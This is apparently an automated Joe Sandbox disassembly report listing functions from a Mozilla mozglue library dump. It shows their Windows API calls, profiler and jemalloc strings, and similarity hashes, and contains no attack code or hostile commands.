Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 401fd3e3f0ce69e40bd11e1cc5dbf2f34b948666a2131da8147521809414bbb2
Instruction ID: 58ee6da397fa28b9ce1d1355d0b4e0bc2cd33d329d9bb7f3149907bc63987aa2
Opcode Fuzzy Hash: 401fd3e3f0ce69e40bd11e1cc5dbf2f34b948666a2131da8147521809414bbb2
Instruction Fuzzy Hash: 3CF26C74908B808FC725CF29C08469AFBF1FFCA304F118A5ED99997711DB71A896CB46

Function 6C69F070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412threadtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C69F09B

Part of subcall function 6C675B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6756EE,?,00000001), ref: 6C675B85
Part of subcall function 6C675B50: EnterCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675B90
Part of subcall function 6C675B50: LeaveCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675BD8
Part of subcall function 6C675B50: GetTickCount64.KERNEL32 ref: 6C675BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C69F0AC

Part of subcall function 6C675C50: GetTickCount64.KERNEL32 ref: 6C675D40
Part of subcall function 6C675C50: EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C675D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C69F0BE

Part of subcall function 6C675C50: __aulldiv.LIBCMT ref: 6C675DB4
Part of subcall function 6C675C50: LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C675DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C69F155
GetCurrentThreadId.KERNEL32 ref: 6C69F1E0
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F1ED
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F212
GetCurrentThreadId.KERNEL32 ref: 6C69F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C69F248
GetCurrentThreadId.KERNEL32 ref: 6C69F2AE
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F2BB
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F2F8

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F350
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F35D
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F381
GetCurrentThreadId.KERNEL32 ref: 6C69F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F3A0
GetCurrentThreadId.KERNEL32 ref: 6C69F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F491

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C69F3CF

Part of subcall function 6C69F070: GetCurrentThreadId.KERNEL32 ref: 6C69F440
Part of subcall function 6C69F070: AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F44D
Part of subcall function 6C69F070: ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C69F4A8
GetCurrentThreadId.KERNEL32 ref: 6C69F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F561
GetCurrentThreadId.KERNEL32 ref: 6C69F577
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F585
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6C69F499
[I %d/%d] profiler_pause_sampling, xrefs: 6C69F3A8
[I %d/%d] profiler_resume, xrefs: 6C69F239
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C69F56A

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: 4cb49cd2e8061e87c9b4b231fee6b20f2df7199dfaaabf510f54abd1fa6f2fd0
Instruction ID: 74419fba93a6748ef766794b00d95a34a809e8270ab2221dbc72faede3565aa9
Opcode Fuzzy Hash: 4cb49cd2e8061e87c9b4b231fee6b20f2df7199dfaaabf510f54abd1fa6f2fd0
Instruction Fuzzy Hash: 2AD139316042019FDB009F66D8847A977F8EF87369F15462AF95583B81DB70B805CBAF

Function 6C6664C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C6664DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C6664F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C666505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C666518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C66652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C66671C
GetCurrentProcess.KERNEL32 ref: 6C666724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C66672F
GetCurrentProcess.KERNEL32 ref: 6C666759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C666764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C666A80
GetSystemInfo.KERNEL32(?), ref: 6C666ABE
__Init_thread_footer.LIBCMT ref: 6C666AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C666AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C666AF7

Strings

user32.dll, xrefs: 6C666526
nvd3d9wrap.dll, xrefs: 6C666500
_etoured.dll, xrefs: 6C6664ED
nvdxgiwrap.dll, xrefs: 6C666513
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C666798
detoured.dll, xrefs: 6C6664DA

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: e107899b83c6aa657df92b2df7dcac7b44bbfbc6bc99540e755bcd1564052420
Instruction ID: 7cc53657b461bba9e13a34008fa2f976f06660de6afbf4b2ef5565db851e3b8a
Opcode Fuzzy Hash: e107899b83c6aa657df92b2df7dcac7b44bbfbc6bc99540e755bcd1564052420
Instruction Fuzzy Hash: 5CF1E6709052199FDB20CF26DC887DAB7B5AF46318F144299D809E3B41D731EE85CF9A

Function 6C67D850 Relevance: 48.4, APIs: 21, Strings: 6, Instructions: 1109COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C67D904
LeaveCriticalSection.KERNEL32(?), ref: 6C67D971
memset.VCRUNTIME140(?,00000000,?), ref: 6C67D97B
LeaveCriticalSection.KERNEL32(?), ref: 6C67E2E3
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C67E2E9
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67E308
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67E315
AcquireSRWLockExclusive.KERNEL32(6C6DE804), ref: 6C67E37C
GetSystemInfo.KERNEL32(?), ref: 6C67E3C7
__Init_thread_footer.LIBCMT ref: 6C67E3DA
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C6DE810,00000040), ref: 6C67E404
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE7B8,00001388), ref: 6C67E46D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE744,00001388), ref: 6C67E483
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE784,00001388), ref: 6C67E4A9
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE7DC,00001388), ref: 6C67E4CA
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE768,00001388), ref: 6C67E50C
memset.VCRUNTIME140(00000000,00000000,00004000), ref: 6C67E52E
ReleaseSRWLockExclusive.KERNEL32(6C6DE804), ref: 6C67E54F

Part of subcall function 6C66D960: EnterCriticalSection.KERNEL32(?), ref: 6C66D999
Part of subcall function 6C66D960: EnterCriticalSection.KERNEL32(6C6DE7B8), ref: 6C66DA13

Strings

MALLOC_OPTIONS, xrefs: 6C67E3FF
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C67E560, 6C67E58A, 6C67E5A5
Compile-time page size does not divide the runtime one., xrefs: 6C67E621
MOZ_CRASH(), xrefs: 6C67E62B
<jemalloc>, xrefs: 6C67E61C, 6C67E6CC
: (malloc) Unsupported character in malloc options: ', xrefs: 6C67E6DD

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$CountInitializeSpin$Enter$ExclusiveK@1@LeaveLockMaybe@_RandomUint64@mozilla@@memset$AcquireEnvironmentInfoInit_thread_footerReleaseSystemVariable_errno
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 919329573-429003945
Opcode ID: fc65f9435edddd54c3e4aa9483b46ff56f829e4af40b2a513b9941691e83d4f8
Instruction ID: 76ea3646499f32143a589c8e346c2385426a3e0c1043c65ab74aae4095a5dddf
Opcode Fuzzy Hash: fc65f9435edddd54c3e4aa9483b46ff56f829e4af40b2a513b9941691e83d4f8
Instruction Fuzzy Hash: A592CC71A056018FD724CF29C480755FBE1BF8A728F29CA6DE8698B791D331E841CBD9

Function 6C6BC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C6BC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C6BC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C6BC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6BCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6BDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BE432
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BE472

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 07666fdb95abeea65de448be75d2845b17df2f4a7965e0ad538a7b64aa7667bc
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 5733AC71E0021A8FCB04CFA8C8806EDBBF2FF49314F288269D955BB755D731A956CB94

Function 6C67ED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C67EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C67EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C681695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6816B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C681770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C681A3E

Strings

~qel, xrefs: 6C67ED13
~qel, xrefs: 6C67ED10

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qel$~qel
API String ID: 3693777188-2922831641
Opcode ID: b0d6fbd152e4c27c75d6ad2b320a4be92d76d63439be627fe0f1e3c33d2acc78
Instruction ID: 8fa18b222c337912a8b1ca23478ce27298b3960ccb6cabc63e13a2ac82a5fafa
Opcode Fuzzy Hash: b0d6fbd152e4c27c75d6ad2b320a4be92d76d63439be627fe0f1e3c33d2acc78
Instruction Fuzzy Hash: 13B33971E01219CFCB24CFA8C890ADDB7B2BF49304F2585A9D459AB745D730AD86CFA4

Function 6C66FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE7B8), ref: 6C66FF81
LeaveCriticalSection.KERNEL32(6C6DE7B8), ref: 6C67022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C670240
EnterCriticalSection.KERNEL32(6C6DE768), ref: 6C67025B
LeaveCriticalSection.KERNEL32(6C6DE768), ref: 6C67027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C66FE99, 6C66FEB7, 6C66FED3, 6C670DB8, 6C670DD3, 6C6719B4
: (malloc) Error in VirtualFree(), xrefs: 6C670D67, 6C670D7B, 6C670DAC
<jemalloc>, xrefs: 6C670D62, 6C670D76, 6C670DA7

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 498597fbc7d55b41ee2c801f08bbf64f5f214a6b7b6fbc0117505a98ef7eea40
Instruction ID: e8992d00596065b3b005aafba80a9a854203beed125ea67ceae0e362e91cc08c
Opcode Fuzzy Hash: 498597fbc7d55b41ee2c801f08bbf64f5f214a6b7b6fbc0117505a98ef7eea40
Instruction Fuzzy Hash: 01C20271A057418FD724CF28C590756BBE1BF85328F28CA6DE4698B7D5C732E801CBA9

Function 6C6BE680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C6BE811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BEAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6BEBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BEEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BF223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C6BF322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6C0E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C6C0E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C6C0EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C6C0ED4

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: c8e1b55e4da7bfd3646139be31583bd68617d8375b9079d4d794990734b32e14
Instruction ID: 09fc73846ed4e5b5e4925d412a24fb1bb0b96869d3e965f44c9892b77a9da60c
Opcode Fuzzy Hash: c8e1b55e4da7bfd3646139be31583bd68617d8375b9079d4d794990734b32e14
Instruction Fuzzy Hash: F063AD75E0025A8FCB04CFA8C8806DDFBB2FF89304F298269D855BB755D730A946CB95

Function 6C693E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C6B7770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>il,?,?,?,6C693E7D,?,?), ref: 6C6B777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C693F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C693F5C
VerSetConditionMask.NTDLL ref: 6C693F8D
VerSetConditionMask.NTDLL ref: 6C693F99
VerSetConditionMask.NTDLL ref: 6C693FA0
VerSetConditionMask.NTDLL ref: 6C693FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C693FB4

Strings

nvd3d9wrap.dll, xrefs: 6C694466
C>il, xrefs: 6C693E93
nvinit.dll, xrefs: 6C694479

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>il$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-416255230
Opcode ID: 90aaa3219a0734a8e10a1853969c769a5af7cb6c33ae41dd46dc9edeb52facce
Instruction ID: c4b7b43111936190e031cebce628acb0aecf7b3affde093ccdcb8ce31f9d9907
Opcode Fuzzy Hash: 90aaa3219a0734a8e10a1853969c769a5af7cb6c33ae41dd46dc9edeb52facce
Instruction Fuzzy Hash: 2452F531614B459FDB10DF348480ABBB7E9AF86304F04096DE5978BB82CB74F909CB68

Function 6C66FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE7B8), ref: 6C66FF81
LeaveCriticalSection.KERNEL32(6C6DE7B8), ref: 6C67022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C670240
EnterCriticalSection.KERNEL32(6C6DE768), ref: 6C67025B
LeaveCriticalSection.KERNEL32(6C6DE768), ref: 6C67027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C66FE99, 6C66FEB7, 6C66FED3, 6C670DB8, 6C670DD3, 6C6719B4, 6C671A10
MOZ_CRASH(), xrefs: 6C670CA7

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 377a90b1383cd4f6e410060cebd0b236d3e52c14ea21b1dc2458dfe8be273a8a
Instruction ID: c5f8d1fd12965b830365947a9c50168999fe390861b717d07dff7eeaa7903c5c
Opcode Fuzzy Hash: 377a90b1383cd4f6e410060cebd0b236d3e52c14ea21b1dc2458dfe8be273a8a
Instruction Fuzzy Hash: 99B2FE316057418FD724CF28C5D0716BBE1BF85328F28CA6DE86A8BB95C731E840CB69

Function 6C6A5600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

name, xrefs: 6C6A5E79, 6C6A5E8F
data, xrefs: 6C6A6131
ProfileBuffer parse error: %s, xrefs: 6C6A5AC8, 6C6A5CBB
expected a Count entry, xrefs: 6C6A5AC3
schema, xrefs: 6C6A606D
expected a Time entry, xrefs: 6C6A5CB6

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 76e69116b1e6e1704ffc8b5cc9e5656b803a2a136cdc7f196174341f995c3bdf
Instruction ID: 15787890fe778cc31cb661b3cbed2d527a4f8242da0139c910558a72f95608e2
Opcode Fuzzy Hash: 76e69116b1e6e1704ffc8b5cc9e5656b803a2a136cdc7f196174341f995c3bdf
Instruction Fuzzy Hash: 1F926CB1A087418FD724CF59C49079AB7E1FFC9308F14891DE59A9B751DB30E80ACB9A

Function 6C667810 Relevance: 21.4, APIs: 12, Strings: 2, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE744), ref: 6C667885
LeaveCriticalSection.KERNEL32(6C6DE744), ref: 6C6678A5
EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C6678AD
LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C6678CD
EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C6678D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C6678E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C66795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C6679BB
LeaveCriticalSection.KERNEL32(?), ref: 6C667BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C667C82
LeaveCriticalSection.KERNEL32(6C6DE7DC), ref: 6C667CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C667DAF

Strings

Dml, xrefs: 6C66789F
Dml, xrefs: 6C66787F

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: Dml$Dml
API String ID: 759993129-3425531392
Opcode ID: d23d996a0f9e3a55aa609b5edafcd711e60c1d3eafb575495485f5ea4c559981
Instruction ID: 125649142443908d71c898b46f96a21a619487f8041afc8721a811fe35b8d554
